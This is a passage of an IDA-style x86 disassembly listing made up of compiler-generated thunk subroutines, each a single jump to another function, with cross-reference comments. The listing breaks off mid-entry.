; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: ___:00416A7Bp
					; ___:00439F42j ...
		jmp	sub_4179D0
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B2C	proc near		; CODE XREF: ___:00408706p
					; ___:00408727p ...
		jmp	sub_407660
sub_401B2C	endp

; ---------------------------------------------------------------------------
		jmp	loc_414AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; CODE XREF: sub_41C610+83p
					; sub_4282C0+3Fp
		jmp	sub_41D540
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: sub_41A890+11p
		jmp	sub_41A8C0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B40	proc near		; CODE XREF: sub_41E660+339p
		jmp	sub_421C10
sub_401B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B45	proc near		; CODE XREF: sub_414C70+3p
		jmp	sub_414CA0
sub_401B45	endp

; ---------------------------------------------------------------------------
		jmp	loc_432CA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_42FAA0+29p
		jmp	sub_42F540
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B54	proc near		; CODE XREF: sub_40FDA0+38p
					; ___:00439158j
		jmp	sub_412BC0
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near
		jmp	sub_40D580
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B5E	proc near		; CODE XREF: sub_407660+3Bp
					; sub_4076F0+43p
		jmp	sub_40B430
sub_401B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_4072D0+3p
		jmp	sub_4074A0
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B68	proc near		; CODE XREF: sub_424840+9Dp
					; sub_424840+FBp ...
		jmp	sub_4245F0
sub_401B68	endp

; ---------------------------------------------------------------------------


loc_401B6D:				; DATA XREF: ___:off_43E084o
		jmp	loc_425BD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B72	proc near		; CODE XREF: sub_40FF60+413p
					; sub_40FF60+F69p ...
		jmp	sub_409F60
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: ___:00425474p
		jmp	sub_4254E0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B7C	proc near		; CODE XREF: sub_422050+32p
		jmp	sub_422410
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B81	proc near		; CODE XREF: sub_41B4B0+A5p
		jmp	sub_41A6D0
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_40BF60+23p
					; sub_40C120+11p
		jmp	sub_40C2C0
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:0042B833p
		jmp	sub_42B860
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near
		jmp	sub_41E140
sub_401B90	endp

; ---------------------------------------------------------------------------


loc_401B95:				; DATA XREF: sub_42FF50+86o
		jmp	loc_431650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_409530+20p
		jmp	sub_409600
sub_401B9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BA4	proc near		; DATA XREF: ___:off_43E0A4o
		jmp	sub_40CBB0
sub_401BA4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4309D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BAE	proc near		; CODE XREF: sub_421BD0+1Fp
		jmp	sub_421FB0
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BB3	proc near		; CODE XREF: sub_427520+39p
		jmp	sub_4270E0
sub_401BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; CODE XREF: sub_415730+5p
					; sub_415930+6p ...
		jmp	sub_416380
sub_401BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BBD	proc near		; CODE XREF: sub_4303D0+5Dp
					; sub_431730+3Ep
		jmp	sub_4304D0
sub_401BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC2	proc near		; CODE XREF: ___:00432129p
					; ___:0043214Ap ...
		jmp	sub_430C00
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC7	proc near		; CODE XREF: ___:00425DA2p
		jmp	sub_4269A0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_41B3D0+3p
		jmp	sub_41B400
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_428220+3p
		jmp	sub_428250
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: sub_422A40+924p
					; ___:0042408Ap
		jmp	sub_4258E0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: sub_42D2C0+18Dp
					; sub_42D2C0+1CDp ...
		jmp	sub_42DFD0
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE0	proc near		; CODE XREF: ___:0041426Cp
		jmp	sub_414360
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE5	proc near
		jmp	sub_40C360
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_425020+8Bp
		jmp	sub_424840
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: ___:0040B11Ep
					; sub_40B170+34p ...
		jmp	sub_40BDD0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: sub_40B0B0+5Cp
		jmp	sub_40BC70
sub_401BF4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4327C0
; ---------------------------------------------------------------------------
		jmp	loc_431120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: sub_430AD0+20p
					; sub_430C00+20p ...
		jmp	sub_430690
sub_401C03	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C0D	proc near
		jmp	sub_4347B0
sub_401C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C12	proc near		; CODE XREF: sub_4137E0+84p
					; sub_433A20+3Cp ...
		jmp	sub_433940
sub_401C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: ___:0042C4D8p
		jmp	sub_42B060
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C1C	proc near		; CODE XREF: sub_42A810+446p
		jmp	sub_42A5F0
sub_401C1C	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: ___:00431256p
					; sub_4331D0+23p
		jmp	sub_431AC0
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; DATA XREF: ___:off_43E12Co
		jmp	sub_427FF0
sub_401C2B	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FC80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C35	proc near		; CODE XREF: sub_41AFE0+8p
					; ___:0041B39Dp ...
		jmp	sub_41A010
sub_401C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: sub_42A100+3p
		jmp	sub_42A130
sub_401C3A	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD80
; ---------------------------------------------------------------------------
		jmp	loc_416990

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C49	proc near		; CODE XREF: sub_40BD90+1Fp
		jmp	sub_40BEC0
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_415A00+9p
					; sub_415B20+18p
		jmp	sub_4165D0
sub_401C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C53	proc near		; CODE XREF: sub_418C50+4p
		jmp	sub_418F70
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C58	proc near		; CODE XREF: sub_407370+11p
					; ___:00407397p ...
		jmp	sub_407520
sub_401C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C5D	proc near		; CODE XREF: sub_404C70+111p
					; sub_40D580+42p ...
		jmp	sub_40A1F0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: ___:0041319Ap
					; sub_413220+3Cp ...
		jmp	sub_4157E0
sub_401C62	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E9C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4256B0+69p
		jmp	sub_425820
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_40B520+2Fp
					; sub_40B520+6Ep ...
		jmp	sub_40BD60
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0042ED88p
					; ___:0042ED9Dp ...
		jmp	sub_432CC0
sub_401C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C7B	proc near		; CODE XREF: sub_415370+11p
					; sub_415DD0+1Fp
		jmp	sub_415FC0
sub_401C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C80	proc near		; DATA XREF: ___:0043E0D4o
		jmp	sub_41D830
sub_401C80	endp

; ---------------------------------------------------------------------------
		jmp	loc_419910

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: sub_407370+9p
					; sub_418D80+18p
		jmp	sub_4075C0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_4131F0+3p
					; ___:00416B3Bp ...
		jmp	sub_413220
sub_401C8F	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B810
; ---------------------------------------------------------------------------


loc_401C99:				; DATA XREF: ___:off_43E05Co
		jmp	loc_416C90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA3	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_4181B0
sub_401CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA8	proc near		; CODE XREF: sub_415AA0+Cp
					; sub_415AA0+43p
		jmp	sub_4165A0
sub_401CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CAD	proc near		; CODE XREF: sub_409600+45p
		jmp	sub_4098E0
sub_401CAD	endp

; ---------------------------------------------------------------------------
		jmp	loc_433140
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_40FF60+3A4p
		jmp	sub_40A000
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_407790+646p
					; ___:00407E7Dp ...
		jmp	sub_4076F0
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CC6	proc near		; CODE XREF: sub_415420+16p
					; sub_415460+Bp ...
		jmp	sub_416090
sub_401CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CCB	proc near		; CODE XREF: sub_409600+144p
		jmp	sub_409970
sub_401CCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_404640+1C2p
					; sub_404B10+36p ...
		jmp	sub_4133D0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_4150F0+34p
					; sub_415B20+67p
		jmp	sub_415CC0
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near
		jmp	sub_409AA0
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; DATA XREF: ___:0043E06Co
		jmp	sub_41FC00
sub_401CDF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E0B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE9	proc near		; CODE XREF: sub_40BE90+5p
		jmp	sub_40C0F0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CEE	proc near		; CODE XREF: ___:0043113Fp
		jmp	sub_42F230
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; CODE XREF: sub_421D50+11p
					; ___:00421D77p ...
		jmp	sub_422300
sub_401CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CF8	proc near		; DATA XREF: ___:0043E048o
		jmp	sub_4131F0
sub_401CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CFD	proc near		; CODE XREF: sub_4157A0+1Fp
		jmp	sub_416120
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D02	proc near		; CODE XREF: sub_40F600+1ACp
					; sub_40F600+1EDp ...
		jmp	sub_40F590
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_413DA0+15Cp
		jmp	sub_414090
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D0C	proc near		; CODE XREF: sub_404C20+23p
					; sub_40FF60+13C2p
		jmp	sub_412B20
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D11	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_418050
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D16	proc near		; CODE XREF: sub_407540+7p
					; sub_40C200+7p ...
		jmp	sub_4075E0
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_40A810+1Ap
					; sub_40A8C0+4p ...
		jmp	sub_40A880
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404640+289p
					; sub_404640+2ADp ...
		jmp	sub_40A0A0
sub_401D20	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F2B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2A	proc near		; DATA XREF: ___:0043E154o
		jmp	sub_4282C0
sub_401D2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E680

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D34	proc near
		jmp	sub_403FC0
sub_401D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D39	proc near		; CODE XREF: sub_411FE0+123p
					; sub_411FE0+1E2p
		jmp	sub_4126B0
sub_401D39	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B470
; ---------------------------------------------------------------------------
		jmp	loc_40B790

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D48	proc near		; CODE XREF: sub_421C80+5p
		jmp	sub_4221E0
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_415E70+5Fp
		jmp	sub_416690
sub_401D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D52	proc near		; CODE XREF: sub_41D830+2C7p
		jmp	sub_42EA40
sub_401D52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D57	proc near		; CODE XREF: sub_418BA0+7p
		jmp	sub_418E40
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_413670+5Dp
					; sub_413670+9Bp ...
		jmp	sub_415340
sub_401D5C	endp

; ---------------------------------------------------------------------------
		jmp	loc_4360A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_415730+16p
					; sub_415770+Bp ...
		jmp	sub_4163E0
sub_401D66	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D70	proc near		; CODE XREF: sub_432ED0+98p
		jmp	sub_430660
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D75	proc near		; CODE XREF: sub_421B60+16p
					; sub_421BA0+Bp ...
		jmp	sub_4221B0
sub_401D75	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D7F	proc near
		jmp	sub_41C390
sub_401D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D84	proc near		; CODE XREF: sub_4189B0+16p
					; sub_4189F0+Bp ...
		jmp	sub_418D20
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_413670+53p
					; sub_413670+91p ...
		jmp	sub_4151A0
sub_401D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D8E	proc near		; CODE XREF: sub_422A40+56p
		jmp	sub_4258A0
sub_401D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D93	proc near		; CODE XREF: sub_422A40+18Ap
		jmp	sub_4257A0
sub_401D93	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_428040+81p
		jmp	sub_427AD0
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DA2	proc near		; CODE XREF: sub_415680+11p
					; sub_416120+1Fp
		jmp	sub_416310
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_415160+16p
					; sub_4151A0+Bp ...
		jmp	sub_415D40
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DAC	proc near		; CODE XREF: ___:00414713p
		jmp	sub_4144D0
sub_401DAC	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_426F70+90p
		jmp	sub_427520
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: ___:0042B178p
		jmp	sub_42AEC0
sub_401DBB	endp

; ---------------------------------------------------------------------------
		jmp	loc_414120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC5	proc near		; CODE XREF: sub_4337E0+74p
		jmp	sub_4317F0
sub_401DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DCA	proc near		; CODE XREF: sub_41FA90+1Dp
		jmp	sub_40B070
sub_401DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_40A9F0+45p
		jmp	sub_40AC70
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DD4	proc near		; CODE XREF: ___:0042F33Dp
					; ___:0042F462p ...
		jmp	sub_431990
sub_401DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD9	proc near		; CODE XREF: ___:00425C34p
		jmp	sub_426EB0
sub_401DD9	endp

; ---------------------------------------------------------------------------
		jmp	loc_431A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_40FF60+AE7p
					; sub_40FF60+E5Dp
		jmp	sub_41EE70
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE8	proc near		; CODE XREF: sub_40ACA0+Ap
		jmp	sub_40AD90
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DED	proc near		; CODE XREF: ___:00416A3Bp
					; ___:00439F7Aj ...
		jmp	sub_417AE0
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DF2	proc near		; CODE XREF: sub_421E80+4p
		jmp	sub_422320
sub_401DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF7	proc near		; CODE XREF: sub_40C400+271p
					; sub_425020+50p
		jmp	sub_423660
sub_401DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: ___:0041617Ap
		jmp	sub_416760
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E01	proc near		; CODE XREF: sub_415CC0+7p
		jmp	sub_4164C0
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E06	proc near		; CODE XREF: sub_41D830+19Bp
		jmp	sub_42C790
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E0B	proc near		; CODE XREF: sub_404C70+83Bp
					; sub_404C70+B68p ...
		jmp	sub_412900
sub_401E0B	endp

; ---------------------------------------------------------------------------
		jmp	sub_4131F0
; ---------------------------------------------------------------------------
		jmp	sub_428220

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_4153B0+34p
					; sub_415E70+67p
		jmp	sub_416010
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1F	proc near		; CODE XREF: sub_413670+31p
					; sub_4144D0+2Dp
		jmp	sub_4152D0
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_40CBB0+1EEp
					; ___:00423EC5p ...
		jmp	sub_425640
sub_401E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E29	proc near		; CODE XREF: sub_4158F0+3p
		jmp	sub_4163C0
sub_401E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E2E	proc near		; CODE XREF: sub_404640+97p
					; sub_404640+107p ...
		jmp	sub_40A3C0
sub_401E2E	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: ___:00423CFDp
		jmp	sub_423850
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: ___:00421D0Ap
		jmp	sub_422210
sub_401E3D	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E47	proc near
		jmp	sub_4355E0
sub_401E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E4C	proc near		; DATA XREF: ___:off_43E098o
		jmp	sub_4356F0
sub_401E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E51	proc near		; CODE XREF: ___:0043250Fp
		jmp	sub_42FDB0
sub_401E51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: sub_4165A0+5p
		jmp	sub_4167F0
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: sub_404C70+28Dp
					; sub_41D830+6A6p
		jmp	sub_40DB40
sub_401E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E60	proc near		; CODE XREF: sub_422410+5Fp
		jmp	sub_422600
sub_401E60	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; CODE XREF: sub_40F600+22p
					; sub_411860+1Dp ...
		jmp	sub_40ADC0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: sub_40A9F0+112p
					; sub_40A9F0+153p
		jmp	sub_40ACD0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; DATA XREF: ___:off_43E0C0o
		jmp	sub_41B010
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_4155E0+3p
		jmp	sub_416070
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_426960+1Ap
		jmp	sub_426820
sub_401E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E83	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439EC4j ...
		jmp	sub_4175E0
sub_401E83	endp

; ---------------------------------------------------------------------------
		jmp	loc_431EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_4200F0+3Ap
		jmp	sub_420300
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E92	proc near		; DATA XREF: ___:0043E114o
		jmp	sub_426F70
sub_401E92	endp

; ---------------------------------------------------------------------------
		jmp	loc_432800

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E9C	proc near		; CODE XREF: sub_416310+4p
		jmp	sub_416710
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: sub_415830+4Fp
					; sub_4161C0+11p ...
		jmp	sub_416410
sub_401EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA6	proc near		; CODE XREF: sub_415650+5p
		jmp	sub_4160F0
sub_401EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_424840+151p
		jmp	sub_424800
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB0	proc near		; CODE XREF: ___:00416AABp
					; ___:00439F18j ...
		jmp	sub_417830
sub_401EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB5	proc near		; CODE XREF: sub_4152D0+3p
		jmp	sub_415D20
sub_401EB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_415030+11p
					; sub_415070+13p ...
		jmp	sub_415C70
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_421960+16p
					; sub_4219A0+Bp ...
		jmp	sub_421F50
sub_401EBF	endp

; ---------------------------------------------------------------------------
		jmp	loc_418860
; ---------------------------------------------------------------------------
		jmp	loc_41C250

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_418E90+18p
					; sub_421CB0+9p
		jmp	sub_419050
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_422540+Ap
		jmp	sub_4226E0
sub_401ED3	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC50
; ---------------------------------------------------------------------------
		jmp	loc_4328B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: ___:00416A0Bp
					; ___:00439FA4j ...
		jmp	sub_417B20
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
